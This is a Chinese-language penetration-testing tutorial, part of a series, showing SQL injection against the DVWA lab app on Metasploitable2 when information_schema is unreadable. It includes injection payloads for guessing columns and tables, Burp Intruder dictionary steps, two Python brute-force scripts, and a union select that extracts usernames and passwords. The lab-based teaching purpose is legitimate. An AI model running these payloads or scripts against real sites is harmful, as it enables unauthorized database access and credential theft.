可锐资源网

技术资源分享平台,提供编程学习、网站建设、脚本开发教程

比较常见类型漏洞讲解(四):SQL注入(二)

比较常见类型漏洞讲解(一)

比较常见类型漏洞讲解(二):文件上传

比较常见类型漏洞讲解(三):SQL注入(一)

这里继续介绍比较容易找到的不同类型的漏洞。

演示准备

目标主机:Metasploitable2

攻击目标:目标主机的dvwa系统

攻击机:Kali

SQL注入手动演示-权限受限

前面演示过一些SQL注入操作方法用户获取数据库信息,比如库表信息、字段信息、具体内容等。其中很多信息都是通过查询information_schema获取的,查询这个表其实是需要对应权限的,而真实工作中不会给普通账号赋予这个表的读取权限。

这里就是要介绍当没有读取information_schema库权限时,该怎么获取我们需要的信息。

SQL注入手动演示-确认表字段

先来想办法分析查询的表有哪些字段,方法比较笨,就是不停的猜,SQL语句:

# columns就是我们猜测的字段名
' and columns is null -- 

猜测有字段名为firstName,执行结果:

猜测有字段名为first_name,执行结果:

当猜错时会提示不存在这个字段,当猜对时不会提示字段不存在,可以从这两种不同反馈判断存在哪些字段。

原理是这个原理,但是你真的手动一个一个去猜,那就太浪费时间了,我们可以在Kali中找个字典,用自动化的方式去分析表字段。

查看一下这个字典的内容:

需要注意一下字典文件中带#号的内容,在sql语句中#号代表临时表,如果没有特别需要,最好先将这部分内容去掉。

然后就是使用这个字典了,使用方式很多,可以写python脚本,也可以用burpsuite,或者其他你用着顺手的工具。这里用burpsuite进行演示,先触发一次请求,在burpsuite中生成一个记录:

可以在Repeater修改一下参数后触发一次请求,就能在Response里看到返回结果:

确认能够使用后,就将请求发送给Intruder:

切换到Intruder模块,Target已经默认配置了,确认一下是我们需要攻击的ip就行,然后切换到Positions,通过clear把自动生成的参数位置清理掉:

选中代表字段名的那部分字符串,然后点击add:

参数设定好以后,切换到Payload分页,配置我们前面准备的字典:

根据这次的请求参数情况,可以将URL编码功能关闭:

然后就可以点击开始攻击的按钮了:

会消耗一些时间,执行完成后,会得到这样的结果:

对比两种执行结果,可以看到Length字段明显不一样长,直接用Length排序,就可以将执行成功的排到上面,就知道字典中哪些字符串是表中存在的字段:

我这里还没执行完,所以没显示全部匹配到的字段。而且这个执行结果只能判断字典中存在的字段在不在目标数据库的表中,如果字典中不存在,就无法判断。

SQL注入手动演示-确认表名

原理也是一样的,找个字典进行匹配。

执行的sql需要调整一下

# table表示表名
' and table.first_name is null -- 

first_name这个字段是我们在前面确定在表中存在的,只要前面使用的表名是正确的,就不会报错,如果表名是错误的就会报错:

表名相关的字典,在Kali中也有现成的:

将字典中#号去掉:

可以和前面一样,可以继续使用burpsuite,但是为了演示渗透方式的多样性,这里写个简单的python脚本:

import sys
import requests


def tables_attack(file_name):
    f = open(file_name)
    list = f.readlines()
    f.close()
    for i in list:
        i = i.strip('\n')
        if i == '':
            continue
        url = 'http://192.168.218.129/dvwa/vulnerabilities/sqli/?id=%27+and+' + i + '.first_name+is+null+--+&Submit=Submit#'
        headers = {'Cookie': 'security=low; PHPSESSID=355f404c2619a23fd9b8aa4dc54dda3a'}
        resp = requests.get(url=url, headers=headers)
        if b'Unknown column' not in resp.content:
            print(i)
            break


if __name__ == '__main__':
    file = sys.argv[1]
    tables_attack(file)

由于数据量不多,就没有使用并发,执行结果:

可以看到结果显示表明是users。

SQL注入手动演示-确认其他表

猜其他表就需要再改一下sql语句了:

# table表示表名
' and (select count(*) from table)>0 -- 

反馈和前面差不多,当存在时,不会报错;当不存在时,会报错。

继续使用python脚本:

import sys
import requests


def tables_attack(file_name):
    f = open(file_name)
    list = f.readlines()
    f.close()
    for i in list:
        i = i.strip('\n')
        if i == '':
            continue
        url = 'http://192.168.218.129/dvwa/vulnerabilities/sqli/?id=%27+and+%28select+count%28*%29+from+' + i + '%29%3E0+--+&Submit=Submit#'
        headers = {'Cookie': 'security=low; PHPSESSID=355f404c2619a23fd9b8aa4dc54dda3a'}
        resp = requests.get(url=url, headers=headers)
        if b'More info' in resp.content:
            print(i)


if __name__ == '__main__':
    file = sys.argv[1]
    tables_attack(file)

改一下url,再改一下判断成功失败的逻辑,获取执行结果:

这个执行结果只能说明存在这些表,但是不能说明库中只有这些表。

SQL注入手动演示-确认表和字段关系

通过前面的操作已经猜出了数据库中的表和存在的字段,这里就可以猜测一下表和字段之间的关系。改动sql:

# table是我们前面猜到的表名,column是猜到的字段
' and table.column is null -- 

执行结果还是看是否报错,报错就是两者不存在关系,不报错就表示这个字段就是这个表的。

执行方式和前面基本一致,就不重复了,这个建议使用burpsuite,因为这个工具的Payload type里提供了我们需要使用的组合方式。

当知道表和字段关系后,其实我们基本就能获取我们能从数据库中获取的业务信息了,比如dvwa系统,想要获取账户名、密码:

' union select user, password from users -- 

总结

当遇到sql注入漏洞,但是没有权限访问information_schema库时,我们也可以通过字典去猜测数据库表结构,能确认足够多表信息后,我们就可以从数据库中查询我们想要的信息了,甚至进一步对数据库中的数据进行写入或者更新操作。

控制面板
您好,欢迎到访网站!
  查看权限
网站分类
最新留言